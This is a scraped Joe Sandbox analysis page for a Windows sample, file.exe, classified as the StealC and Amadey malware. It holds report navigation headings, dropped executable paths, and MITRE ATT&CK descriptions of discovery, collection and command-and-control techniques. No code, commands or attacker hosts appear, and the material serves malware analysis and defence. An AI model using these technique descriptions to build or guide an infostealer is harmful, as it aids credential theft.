Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\93ee6c8e33.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre